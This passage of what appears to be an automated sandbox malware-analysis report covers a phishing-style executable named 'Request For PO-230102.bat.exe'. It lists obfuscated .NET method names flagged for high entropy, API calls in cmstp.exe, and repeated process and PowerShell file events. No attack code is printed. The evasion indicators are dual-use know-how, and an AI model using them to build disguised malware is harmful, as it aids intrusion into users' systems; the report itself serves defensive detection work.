          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, VG45C7AbjUPTTh169u.csHigh entropy of concatenated method names: 'ToString', 'DlE62qGhuE', 'QJb6O5YZuZ', 'luK6UeEKPj', 'ag760jhL2X', 'p8w6psG5WI', 'Wf86GiOvyo', 'EhL6vKZBk2', 'HkQ6IR6Pn5', 'gWY6eeDTYu'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, aNlr8XwKKyEyraYKTFs.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PZIhRkaOAx', 'JiOhJyJMOw', 'mehhASf8hn', 'rEBhTGR2tw', 'IRIhQVsqb8', 'xcQhMQb8Mw', 'U5dhl0I8bt'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, XbHL1sHFPMHkcGiFoi.csHigh entropy of concatenated method names: 'VJgKSDebCs', 'TXIK51cwZr', 'RpaKudqIUD', 'nyNKVPi32D', 'OTjKWpBtS7', 'sXkKa6PbIE', 'acoKEZ7MZr', 'u64KHsZbuG', 'TK6Ki1SunP', 'yIOKmqIC2j'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, X9uZaCcernfcW1HSms.csHigh entropy of concatenated method names: 'jVefKrAjx', 'MkjB0HZTL', 'SXIxRjKgg', 'QC0sRB5rB', 'TfJdBFTwN', 'y7hFvsSPL', 'M2G9d8xm5VB3fSgPET', 'pOHkDNQlaRMRtRKScX', 'j3kDtq2CC', 'y5yh17NF1'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, IVGVxw9Ka1gP8Xu7Ef.csHigh entropy of concatenated method names: 'qjigwMHoB0', 'sobgK4BFjM', 'RcKgCI563o', 'w2Mg5UIvqG', 'osjgumQxUd', 'uSygWLVJ9Q', 'JSpgaRMl5F', 'LtUDl1YTPs', 'ymbDo3rGD0', 'EarDbGPyKb'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, zvKqUPwtA1xQBSNRH4W.csHigh entropy of concatenated method names: 'dhcgYaZeF7', 'E53gLNfE5W', 'q9ugfaOTlt', 'xJOgB5Hrn3', 'UM5gkyrxDC', 'YCygxgXtUt', 'aFNgsN4Two', 'IP9gZaaos4', 'Qf1gdL91M7', 'O0igFgsR1w'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, UQQhkCeMHyqBWuC87Z.csHigh entropy of concatenated method names: 'MXvEYHXvBK', 'srHELXMWbH', 'lueEflvi5Q', 'hJoEB2imk9', 'c9BEkYBQFi', 'r6cExuC8E1', 'jLLEs2fucl', 'RxwEZsQDl0', 'oDgEddNO0p', 'r24EFyCb0d'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, uTP4EKrmm8cC2Rjsg8.csHigh entropy of concatenated method names: 'KHLNZGEu7T', 'TguNdUAtRr', 'mAkNjDw92d', 'FoFNOE71DS', 'qm2N0BuvRd', 'VRVNpak8FG', 'd8vNv2dicC', 'zoNNIeE3nf', 'y65N1jZloY', 'fmMN21SFNx'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, lIssHjzKMwd5R6CBfg.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'VaVgNOwNK1', 'rEigqGPdoh', 'jn0g6jj5q8', 'jO4g7mDRJh', 'jxfgD2NZ9p', 'fPhggMkjI4', 'sgOghD3QUk'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, NwCuGHwwaYfu9deLj83.csHigh entropy of concatenated method names: 'ToString', 'KvVhKIwYAA', 'HOYhCsJEn8', 'X1lhSSukl9', 'VWKh5w1NH0', 'Q1PhufrKs3', 'utWhVJfYg0', 'y7jhWxvJco', 'fpGsVnW6gxIWDE5AUf6', 'KxgyERWT6pYMjAHibc7'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, KxnTuGdKn3G5YNdaaq.csHigh entropy of concatenated method names: 'oUcVBxvrsY', 'ChsVxmTa0Z', 'QtNVZsfjA3', 'AtwVdf5ekr', 'mS8VqxWyl4', 'ffnV6NhueN', 'j9IV7Ca3Tb', 'rmOVDGuqTT', 'NWVVgqgIEJ', 'j8LVhLXPxg'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, waV0nAb2YguMYjPkQj.csHigh entropy of concatenated method names: 'DLDDjw8Yfr', 'bEXDO1rU8y', 'cD1DU2FtaZ', 'eUcD0rA48Z', 'WubDRvbDmV', 'cpWDppUEXW', 'Next', 'Next', 'Next', 'NextBytes'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, AfxvMEZertDvqnuSmb.csHigh entropy of concatenated method names: 'qNYuRfhsY7', 'J9GuJ0fmjX', 'vdauAOeSLw', 'pN4uTe6dek', 'AG7uQlZTU9', 'M0JuM5oWQB', 'T3LulnCdMO', 'eBmuoMW5YE', 'FRSubGqcpy', 'fbEu95jVpP'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, xxDp6WReMPoC6NI8pQ.csHigh entropy of concatenated method names: 'wj5q1HOU6K', 'PGVq8Uybxb', 'nBYqRySxJS', 'zXdqJx0xKx', 'Tr5qOnYRI8', 'rXBqUo4l3e', 'X1Dq0XiHuH', 'zmwqpEGy8O', 'QfgqGC6kOO', 'ypsqvXWDYW'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, r5xn5dFTpyjUlSVXls.csHigh entropy of concatenated method names: 'V0gWkBhcji', 'N9mWsaGxJX', 'AT5VU2Bq7u', 'MlVV0Efv8C', 'tdYVpCpEqw', 'X3qVGV80l3', 'OQIVv7KBIO', 'X44VIyCWZf', 'Sh0VeX1vLh', 'UNWV1Waf2K'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, DhWeKejyEhhMwuxiOo.csHigh entropy of concatenated method names: 'Gt2aSdJqOW', 'iKZauCmdnq', 'fbGaWjDy4K', 'VK4aETCPxy', 'MiiaHvdTF5', 'wiWWQfF6WK', 'o9oWMSuaLg', 'UvUWlj8aep', 'kE7WoMnEU9', 'MKeWbc4chj'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, bHoQ5qC8UttFZG547G.csHigh entropy of concatenated method names: 'olBwEfxvME', 'NrtwHDvqnu', 'KKnwm3G5YN', 'EaawXqD5xn', 'eVXwqlsZhW', 'MKew6yEhhM', 'uaoLPg1KxCOCZGV0A0', 'G9AunDIwB5URFvwv2X', 'wETwwHykPA', 'gvUwKcJXxj'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, EjXiAFuRscOlOXqJJn.csHigh entropy of concatenated method names: 'Dispose', 'POmwbBdCGA', 'njqcOwZdRm', 'NNtZZYtTCa', 'bG6w9OGPok', 'TbVwzLyJZT', 'ProcessDialogKey', 'uknctaV0nA', 'OYgcwuMYjP', 'BQjcc0VGVx'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, K6OGPookTbVLyJZTyk.csHigh entropy of concatenated method names: 'TviD56Ynqv', 'of6DuMqgFD', 'qkbDVSZA77', 'Wd2DWguY42', 'GDtDakFA9n', 'L7fDEB7mjJ', 'O4EDHCKdyO', 'zJrDiq2atn', 'HcMDmw3a3F', 'sILDXyCKRB'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, vtJMDnMODLknUi5rqH.csHigh entropy of concatenated method names: 'UqU7oPe82j', 'BgI79ZTl4m', 'd50DtOHjg3', 'w2mDwe9DPT', 'rIE72CfRIb', 'aTv78e2W2k', 'PFU7rpGc6e', 'Tv57RihIHQ', 'M667JwmobB', 'pUN7AylH03'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, VG45C7AbjUPTTh169u.csHigh entropy of concatenated method names: 'ToString', 'DlE62qGhuE', 'QJb6O5YZuZ', 'luK6UeEKPj', 'ag760jhL2X', 'p8w6psG5WI', 'Wf86GiOvyo', 'EhL6vKZBk2', 'HkQ6IR6Pn5', 'gWY6eeDTYu'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, aNlr8XwKKyEyraYKTFs.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PZIhRkaOAx', 'JiOhJyJMOw', 'mehhASf8hn', 'rEBhTGR2tw', 'IRIhQVsqb8', 'xcQhMQb8Mw', 'U5dhl0I8bt'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, XbHL1sHFPMHkcGiFoi.csHigh entropy of concatenated method names: 'VJgKSDebCs', 'TXIK51cwZr', 'RpaKudqIUD', 'nyNKVPi32D', 'OTjKWpBtS7', 'sXkKa6PbIE', 'acoKEZ7MZr', 'u64KHsZbuG', 'TK6Ki1SunP', 'yIOKmqIC2j'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, X9uZaCcernfcW1HSms.csHigh entropy of concatenated method names: 'jVefKrAjx', 'MkjB0HZTL', 'SXIxRjKgg', 'QC0sRB5rB', 'TfJdBFTwN', 'y7hFvsSPL', 'M2G9d8xm5VB3fSgPET', 'pOHkDNQlaRMRtRKScX', 'j3kDtq2CC', 'y5yh17NF1'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, IVGVxw9Ka1gP8Xu7Ef.csHigh entropy of concatenated method names: 'qjigwMHoB0', 'sobgK4BFjM', 'RcKgCI563o', 'w2Mg5UIvqG', 'osjgumQxUd', 'uSygWLVJ9Q', 'JSpgaRMl5F', 'LtUDl1YTPs', 'ymbDo3rGD0', 'EarDbGPyKb'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, zvKqUPwtA1xQBSNRH4W.csHigh entropy of concatenated method names: 'dhcgYaZeF7', 'E53gLNfE5W', 'q9ugfaOTlt', 'xJOgB5Hrn3', 'UM5gkyrxDC', 'YCygxgXtUt', 'aFNgsN4Two', 'IP9gZaaos4', 'Qf1gdL91M7', 'O0igFgsR1w'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, UQQhkCeMHyqBWuC87Z.csHigh entropy of concatenated method names: 'MXvEYHXvBK', 'srHELXMWbH', 'lueEflvi5Q', 'hJoEB2imk9', 'c9BEkYBQFi', 'r6cExuC8E1', 'jLLEs2fucl', 'RxwEZsQDl0', 'oDgEddNO0p', 'r24EFyCb0d'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, uTP4EKrmm8cC2Rjsg8.csHigh entropy of concatenated method names: 'KHLNZGEu7T', 'TguNdUAtRr', 'mAkNjDw92d', 'FoFNOE71DS', 'qm2N0BuvRd', 'VRVNpak8FG', 'd8vNv2dicC', 'zoNNIeE3nf', 'y65N1jZloY', 'fmMN21SFNx'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, lIssHjzKMwd5R6CBfg.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'VaVgNOwNK1', 'rEigqGPdoh', 'jn0g6jj5q8', 'jO4g7mDRJh', 'jxfgD2NZ9p', 'fPhggMkjI4', 'sgOghD3QUk'
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, NwCuGHwwaYfu9deLj83.csHigh entropy of concatenated method names: 'ToString', 'KvVhKIwYAA', 'HOYhCsJEn8', 'X1lhSSukl9', 'VWKh5w1NH0', 'Q1PhufrKs3', 'utWhVJfYg0', 'y7jhWxvJco', 'fpGsVnW6gxIWDE5AUf6', 'KxgyERWT6pYMjAHibc7'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, KxnTuGdKn3G5YNdaaq.csHigh entropy of concatenated method names: 'oUcVBxvrsY', 'ChsVxmTa0Z', 'QtNVZsfjA3', 'AtwVdf5ekr', 'mS8VqxWyl4', 'ffnV6NhueN', 'j9IV7Ca3Tb', 'rmOVDGuqTT', 'NWVVgqgIEJ', 'j8LVhLXPxg'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, waV0nAb2YguMYjPkQj.csHigh entropy of concatenated method names: 'DLDDjw8Yfr', 'bEXDO1rU8y', 'cD1DU2FtaZ', 'eUcD0rA48Z', 'WubDRvbDmV', 'cpWDppUEXW', 'Next', 'Next', 'Next', 'NextBytes'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, AfxvMEZertDvqnuSmb.csHigh entropy of concatenated method names: 'qNYuRfhsY7', 'J9GuJ0fmjX', 'vdauAOeSLw', 'pN4uTe6dek', 'AG7uQlZTU9', 'M0JuM5oWQB', 'T3LulnCdMO', 'eBmuoMW5YE', 'FRSubGqcpy', 'fbEu95jVpP'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, xxDp6WReMPoC6NI8pQ.csHigh entropy of concatenated method names: 'wj5q1HOU6K', 'PGVq8Uybxb', 'nBYqRySxJS', 'zXdqJx0xKx', 'Tr5qOnYRI8', 'rXBqUo4l3e', 'X1Dq0XiHuH', 'zmwqpEGy8O', 'QfgqGC6kOO', 'ypsqvXWDYW'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, r5xn5dFTpyjUlSVXls.csHigh entropy of concatenated method names: 'V0gWkBhcji', 'N9mWsaGxJX', 'AT5VU2Bq7u', 'MlVV0Efv8C', 'tdYVpCpEqw', 'X3qVGV80l3', 'OQIVv7KBIO', 'X44VIyCWZf', 'Sh0VeX1vLh', 'UNWV1Waf2K'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, DhWeKejyEhhMwuxiOo.csHigh entropy of concatenated method names: 'Gt2aSdJqOW', 'iKZauCmdnq', 'fbGaWjDy4K', 'VK4aETCPxy', 'MiiaHvdTF5', 'wiWWQfF6WK', 'o9oWMSuaLg', 'UvUWlj8aep', 'kE7WoMnEU9', 'MKeWbc4chj'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, bHoQ5qC8UttFZG547G.csHigh entropy of concatenated method names: 'olBwEfxvME', 'NrtwHDvqnu', 'KKnwm3G5YN', 'EaawXqD5xn', 'eVXwqlsZhW', 'MKew6yEhhM', 'uaoLPg1KxCOCZGV0A0', 'G9AunDIwB5URFvwv2X', 'wETwwHykPA', 'gvUwKcJXxj'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, EjXiAFuRscOlOXqJJn.csHigh entropy of concatenated method names: 'Dispose', 'POmwbBdCGA', 'njqcOwZdRm', 'NNtZZYtTCa', 'bG6w9OGPok', 'TbVwzLyJZT', 'ProcessDialogKey', 'uknctaV0nA', 'OYgcwuMYjP', 'BQjcc0VGVx'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, K6OGPookTbVLyJZTyk.csHigh entropy of concatenated method names: 'TviD56Ynqv', 'of6DuMqgFD', 'qkbDVSZA77', 'Wd2DWguY42', 'GDtDakFA9n', 'L7fDEB7mjJ', 'O4EDHCKdyO', 'zJrDiq2atn', 'HcMDmw3a3F', 'sILDXyCKRB'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, vtJMDnMODLknUi5rqH.csHigh entropy of concatenated method names: 'UqU7oPe82j', 'BgI79ZTl4m', 'd50DtOHjg3', 'w2mDwe9DPT', 'rIE72CfRIb', 'aTv78e2W2k', 'PFU7rpGc6e', 'Tv57RihIHQ', 'M667JwmobB', 'pUN7AylH03'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, VG45C7AbjUPTTh169u.csHigh entropy of concatenated method names: 'ToString', 'DlE62qGhuE', 'QJb6O5YZuZ', 'luK6UeEKPj', 'ag760jhL2X', 'p8w6psG5WI', 'Wf86GiOvyo', 'EhL6vKZBk2', 'HkQ6IR6Pn5', 'gWY6eeDTYu'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, aNlr8XwKKyEyraYKTFs.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PZIhRkaOAx', 'JiOhJyJMOw', 'mehhASf8hn', 'rEBhTGR2tw', 'IRIhQVsqb8', 'xcQhMQb8Mw', 'U5dhl0I8bt'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, XbHL1sHFPMHkcGiFoi.csHigh entropy of concatenated method names: 'VJgKSDebCs', 'TXIK51cwZr', 'RpaKudqIUD', 'nyNKVPi32D', 'OTjKWpBtS7', 'sXkKa6PbIE', 'acoKEZ7MZr', 'u64KHsZbuG', 'TK6Ki1SunP', 'yIOKmqIC2j'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, X9uZaCcernfcW1HSms.csHigh entropy of concatenated method names: 'jVefKrAjx', 'MkjB0HZTL', 'SXIxRjKgg', 'QC0sRB5rB', 'TfJdBFTwN', 'y7hFvsSPL', 'M2G9d8xm5VB3fSgPET', 'pOHkDNQlaRMRtRKScX', 'j3kDtq2CC', 'y5yh17NF1'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, IVGVxw9Ka1gP8Xu7Ef.csHigh entropy of concatenated method names: 'qjigwMHoB0', 'sobgK4BFjM', 'RcKgCI563o', 'w2Mg5UIvqG', 'osjgumQxUd', 'uSygWLVJ9Q', 'JSpgaRMl5F', 'LtUDl1YTPs', 'ymbDo3rGD0', 'EarDbGPyKb'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, zvKqUPwtA1xQBSNRH4W.csHigh entropy of concatenated method names: 'dhcgYaZeF7', 'E53gLNfE5W', 'q9ugfaOTlt', 'xJOgB5Hrn3', 'UM5gkyrxDC', 'YCygxgXtUt', 'aFNgsN4Two', 'IP9gZaaos4', 'Qf1gdL91M7', 'O0igFgsR1w'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, UQQhkCeMHyqBWuC87Z.csHigh entropy of concatenated method names: 'MXvEYHXvBK', 'srHELXMWbH', 'lueEflvi5Q', 'hJoEB2imk9', 'c9BEkYBQFi', 'r6cExuC8E1', 'jLLEs2fucl', 'RxwEZsQDl0', 'oDgEddNO0p', 'r24EFyCb0d'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, uTP4EKrmm8cC2Rjsg8.csHigh entropy of concatenated method names: 'KHLNZGEu7T', 'TguNdUAtRr', 'mAkNjDw92d', 'FoFNOE71DS', 'qm2N0BuvRd', 'VRVNpak8FG', 'd8vNv2dicC', 'zoNNIeE3nf', 'y65N1jZloY', 'fmMN21SFNx'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, lIssHjzKMwd5R6CBfg.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'VaVgNOwNK1', 'rEigqGPdoh', 'jn0g6jj5q8', 'jO4g7mDRJh', 'jxfgD2NZ9p', 'fPhggMkjI4', 'sgOghD3QUk'
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, NwCuGHwwaYfu9deLj83.csHigh entropy of concatenated method names: 'ToString', 'KvVhKIwYAA', 'HOYhCsJEn8', 'X1lhSSukl9', 'VWKh5w1NH0', 'Q1PhufrKs3', 'utWhVJfYg0', 'y7jhWxvJco', 'fpGsVnW6gxIWDE5AUf6', 'KxgyERWT6pYMjAHibc7'
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3A6EE GetPrivateProfileIntW,GetPrivateProfileIntW,GetPrivateProfileIntW,LoadStringW,LoadStringW,lstrlenW,lstrlenW,lstrlenW,LoadStringW,LoadStringW,MessageBoxW,LoadStringW,GetSystemDirectoryW,LoadStringW,MessageBoxW,14_2_00E3A6EE
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E35DEC memset,GetPrivateProfileStringW,GetModuleHandleA,GetProcAddress,GetCurrentProcess,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,GetProcAddress,GetProcAddress,FreeLibrary,14_2_00E35DEC
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3CAB4 GetSystemDirectoryW,memset,GetPrivateProfileStringW,RegOpenKeyExW,RegDeleteValueW,RegDeleteValueW,RegCloseKey,CmFree,14_2_00E3CAB4
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3A068 memset,memset,RegOpenKeyExW,RegQueryValueExW,lstrcmpiW,LoadStringW,MessageBoxW,RegCloseKey,GetPrivateProfileIntW,GetPrivateProfileIntW,LoadStringW,LoadStringW,LoadStringW,MessageBoxW,GetSystemDirectoryW,14_2_00E3A068
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3A47F RegOpenKeyExW,RegQueryValueExW,GetPrivateProfileIntW,RegQueryValueExW,RegQueryValueExW,RegCloseKey,14_2_00E3A47F
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3D233 RegOpenKeyExW,GetPrivateProfileIntW,GetSystemDirectoryW,memset,GetPrivateProfileStringW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,memset,RegEnumValueW,RegCloseKey,14_2_00E3D233
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3B634 LoadStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileIntW,LoadStringW,MessageBoxW,CmFree,CmFree,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,LoadStringW,MessageBoxW,memset,memset,memset,RegOpenKeyExW,RegQueryValueExW,ExpandEnvironmentStringsW,lstrcmpiW,LoadStringW,MessageBoxW,RegCloseKey,LoadStringW,RegCreateKeyW,lstrlenW,RegSetValueExW,LoadStringW,MessageBoxW,RegCloseKey,RegCloseKey,memset,memset,CopyFileW,LoadStringW,MessageBoxW,GetOSVersion,GetOSMajorVersion,CmMalloc,memset,CmFree,CmMalloc,memset,GetLastError,CmFree,lstrlenW,CmMalloc,lstrlenW,CmFree,CmFree,RegOpenKeyExW,RegDeleteValueW,RegCloseKey,LoadStringW,MessageBoxExW,CmMalloc,memset,CmFree,CmMalloc,14_2_00E3B634
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3DD1E memset,memset,memset,memset,LoadStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,RegCreateKeyExW,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,RegCloseKey,lstrlenW,memset,lstrlenW,lstrlenW,RegSetValueExW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,CmMalloc,CreateFileW,CloseHandle,CmFree,CmFree,GetPrivateProfileIntW,SetFileAttributesW,SHFileOperationW,RegCloseKey,RegCloseKey,14_2_00E3DD1E

          Hooking and other Techniques for Hiding and Protection

          barindex
          Loading BitLocker PowerShell Module
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
